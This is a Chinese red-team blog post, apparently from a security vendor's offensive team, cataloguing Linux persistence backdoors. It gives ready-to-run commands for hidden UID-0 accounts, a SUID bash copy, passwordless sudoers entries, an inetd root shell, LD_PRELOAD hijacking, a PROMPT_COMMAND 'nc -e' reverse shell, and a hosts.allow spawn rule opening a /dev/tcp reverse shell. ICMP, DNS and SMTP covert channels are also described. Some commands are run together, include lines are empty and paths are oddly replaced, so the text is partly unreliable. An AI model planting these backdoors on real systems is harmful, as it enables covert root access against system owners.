红队实战攻防技术分享:Linux后门总结-系统服务利用

蔡俊 2020-03-09 阅读量 629

  导读:上篇文章简单介绍了一下各类隐藏技术在HW和红队评估项目中的应用,下面给大家介绍的是有关系统服务后门的利用,以及针对用户操作一些方法,还有一些在内网中可以被用来做反弹shell 的协议,绕过一些常见的安全设备。

  本篇文章是Linux后门总结文章第三篇,简单介绍了常见Linux用户后门的用法,还有根据系统自带服务利用的一个扩展。

  添加root用户

  有时候觉得加root用户不够隐蔽,其实可以模仿着一些公司的默认账号,比如说adm、adn之类的,在一些大型企业之中,因为项目繁多,负责的管理运维人员也有可能只是开发人员,对于系统自带的一些用户并没有完整的了解,所以就给添加用户带来了可能性。

  passwd写入

  perl -e 'print crypt("123456", "AA"). "
"'echo "backdoor:AASwmzPNx.3sg:0:0:me:/root:/bin/bash">>/etc/passwd

  uid 0用户添加

  在 Unix 体系下,UID 为 0 就是 root 权限。所以渗透的时候可以添加一个 UID 为 0 的用户作为后门。

  useradd -p `openssl passwd 123456`  -o -u 0 guest/usr/sbin/useradd -o -u 0 hack &>/dev/null && echo hack:123456 | /usr/sbin/chpasswd &>/dev/null

  suid 

  suid后门

  suid说明:

  用户或属主对应的前三位权限的x位上如果有s就表示suid权限。当x位上没有小写x执行权限的时候,suid的权限显示的就是大S。

  suid作用是让普通用户可以以root(或其他)的用户角色运行只有root(或其他)账号才能运行的程序或命令,或程序命令对应本来没有权限操作的文件等。

  先查找具有suid的文件:

  find / -perm  4000 -lsfind . -perm /4000find / -user root -perm -4000 -print 2>/dev/null

  将具有suid的复制到指定目录,然后再给权限执行。

  cp /bin/bash /.wootchmod 4755 /.woot/.woot -p

  列出一些具有suid权限的文件、然后利用一些二进制文件的特性来执行额外的命令。

  NmapVimfindBashMoreLessNanocp

  常见的suid提权的程序。  

  reverse_shell 

  这里说的反弹shell不是上面开头那里说的利用内部软件进行反弹,而是利用一些非常规协议来绕过一些安全设备的流量监测功能。

  tcp/udp shell

  tcp/udp的shell可以使用msf生成的tcp马、流量混淆推荐rc4和https偏执模式,也能够绕过一些防火墙。

  icmp shell

  使用ICMP来作为隐蔽通道的原理是:有一个服务端和一个客户端,当它们通信时会用到 ICMPECHO 和 ICMPECHOREPLY的数据部分。这就意味着通过ICMP包的数据部分可以发送和接收数据。

  这里用python写了一个嗅探功能的小脚本 因为icmp是没有端口概念的,也就无法直接建立两台主机上ICMP应用程序的通信。所以程序需要从嗅探到的icmp包中再传给应用层,然后再执行其他的。  

  这里使用ish演示

  wget http://prdownloads.sourceforge.net/icmpshell/ish-v0.2.tar.gz

  被控端

  https://yun.longsunhd.com/ishd -i 6666 -t 0 -p 1024 -d

  控制端

  https://yun.longsunhd.com/ish -i 6666 -t 0 -p 1024 127.0.0.1

  这样利用icmp传输可以绕过大部分的设备。

  DNS/smtp shell

  这里提一下DNS和smtp服务。之前做的分享中有关于SMTP协议传输shell的思路,其实是利用smtp协议可以出网的思路,写一个smtp的客户端和服务端对应发送和接受执行内容,传输为了方便演示使用的是明文,为了增加迷惑性,添加删除邮件功能,需要提高的就是可以对传输的文本内容进行混淆加密之类的,防止安全邮件网关根据关键字拦截邮件。DNS这个的话就是通过解析记录的内容来进行命令的执行,还可以配合dnslog来使用。 

  

演示GIF地址:https://myblogimages.oss-cn-beijing.aliyuncs.com/img/smtp_cmdshell_win.gif

  sudoers利用 

  sudo命令可以使用户临时获得管理员权限执行命令,sudo的控制都是基于sudoers文件来控制的,里面限制了用户名,用户组,执行什么等。/etc/sudoers的通用格式为:user host runas command user:一位或几位用户,在/etc/group中可以用一个%代替它,组对象的名称一定要用百分号%开头。host:一个或几个主机名;runas:作为哪个用户运行,常见选项是root和ALL command:想让用户或组运行的一个或几个根级别命令。例如:hans ALL=(root) useradd,userdel 授权hans用户在所有计算机上以root身份运行useradd,userdel命令。这样我们用一句话将内置/或者我们自己添加的普通权限用户添加到sudoer列表中,这样就可以偷着执行管理员权限的命令了。将原本低权限用户当做后门使用。

  sudo su -c "echo 'hack ALL = NOPASSWD: ALL'> /etc/sudoers.d/README"

  可以看到我们不需要密码就可以直接提到root。

  inetd远程后门 

  inetd,也叫作“超级服务器”,就是监视一些网络请求的守护进程,其根据网络请求来调用相应的服务进程来处理连接请求。inetd.conf则是inetd的配置文件。inetd.conf文件告诉inetd监听哪些网络端口,为每个端口启动哪个服务。位置是/etc/inetd.conf 配置格式:[servicename]

  [socktype]

  [proto]

  [flags]

  [user]

  [server_path]

  [args]

  在配置文件下写入以下内容。daytime stream tcp nowait root /bin/bash bash -i

  daytime服务(13端口) 套接字类型 协议类型 不等待 用户组 提供服务的程序 daytime stream tcp nowait root /bin/bash bash -i

  这样配置好了以后利用nc attip 13  

  动态链接库后门

  linux操作系统的动态链接库在加载过程中,动态链接器会先读取LDPRELOAD环境变量和默认配置文件/etc/ld.so.preload,并将读取到的动态链接库文件进行预加载,即使程序不依赖这些动态链接库,LDPRELOAD环境变量和/etc/ld.so.preload配置文件中指定的动态链接库依然会被装载,这样就导致了动态链接库文件可以被当做后门使用。

  LD_PRELOAD

  这里创建了一个test.c文件,其中调用time方法、然后创建了一个testlib.c、其中生成了一个time方法供test调用 编译后用LD_PRELOAD=$PWD/testlib.so https://yun.longsunhd.com/test劫持了time。

  //test.c#include #include #include int main(){  srand(time(NULL));        return 0;}//编译:gcc -o test test.c

  //testlib.c#include int time(){    printf("hello hacker");    return 0; //the most random number in the universe}//编译:gcc -shared -fPIC testlib.c -o test.so

  ld.so.preload

  同理,修改/etc/ld.so.conf.d/下的conf文件也可以达到劫持的目的。  

  PROMPT_COMMAND 

  bash提供了一个环境变量PROMPT_COMMAND,这个变量会在你执行命令前执行一遍。这样就可以利用他执行的命令来留后门。

  后门

  export PROMPT_COMMAND="nc -e /bin/bash 127.0.0.1 6666 &"

  提权

  如果当前用户是低权账号,管理员又经常使用su等、但是自己不知道密码。就可以来使用这种方法。利用sudo的权限提升来新建一个uid为0的用户

  export PROMPT_COMMAND="/usr/sbin/useradd -o -u 0 test2 &>/dev/null && echo test2:123456 | /usr/sbin/chpasswd &>/dev/null && unset PROMPT_COMMAND"

  TCP Wrappers 

  TCPWrappers是一个工作在第四层(传输层)的的安全工具,对有状态连接的特定服务进行安全检测并实现访问控制,凡是包含libwrap.so库文件的的程序就可以受TCPWrappers的安全控制。它的主要功能就是控制谁可以访问,常见的程序有rpcbind、vsftpd、sshd,telnet。

  工作原理

  TCP_Wrappers有一个TCP的守护进程叫做tcpd。以ssh为例,每当有ssh的连接请求时,tcpd即会截获请求,先读取系统管理员所设置的访问控制文件,符合要求,则会把这次连接原封不动的转给真正的ssh进程,由ssh完成后续工作;如果这次连接发起的ip不符合访问控制文件中的设置,则会中断连接请求,拒绝提供ssh服务。

  利用

  TCP_Wrappers的使用主要是依靠两个配置文件/etc/hosts.allow, /etc/hosts.deny,用于拒绝和接受。这里演示使用的是接受配置信息。之所以能够被用作后门是因为他存在一个参数是spawn (spawn启动一个外部程序完成执行的操作) 修改/etc/hosts.allow文件:

  ALL: ALL: spawn (bash -c "/bin/bash -i& /dev/tcp/127.0.0.1/6666 0>&1") & :allow

  当使用ssh连接的时候,它开始匹配规则,然后利用spawn执行的nc反弹了一个shell。

  Info:

  

https://kevien.github.io/2019/02/16/linux常见backdoor及排查技术/

  该文章完成并在内部分享时间为:2019年12月18日,作为一篇技术整理不可避免的会和网上有些文章相同。

  本文作者:奇安信高级攻防部 @孙韬作品。目前奇安信安服红队发出江湖召集令,凡是具备实战渗透经验、红队经验、APT实战能力的大侠,均可前来一试,全国招募!联系邮箱:a-hr@qianxin.com

  让网络更安全

  让世界更美好

  长按识别二维码关注我们

0人点赞

相关推荐

关于大数据与文化产业融合发展的思考
秘书处小彬|2019-08-08
部分炒币平台蹭区块链热度死灰复燃 监管层出拳打击
万象财经|2019-11-25
人类、牲畜和病毒:盘点那些带来瘟疫的动物,可不只是蝙蝠
蔡俊|2020-02-06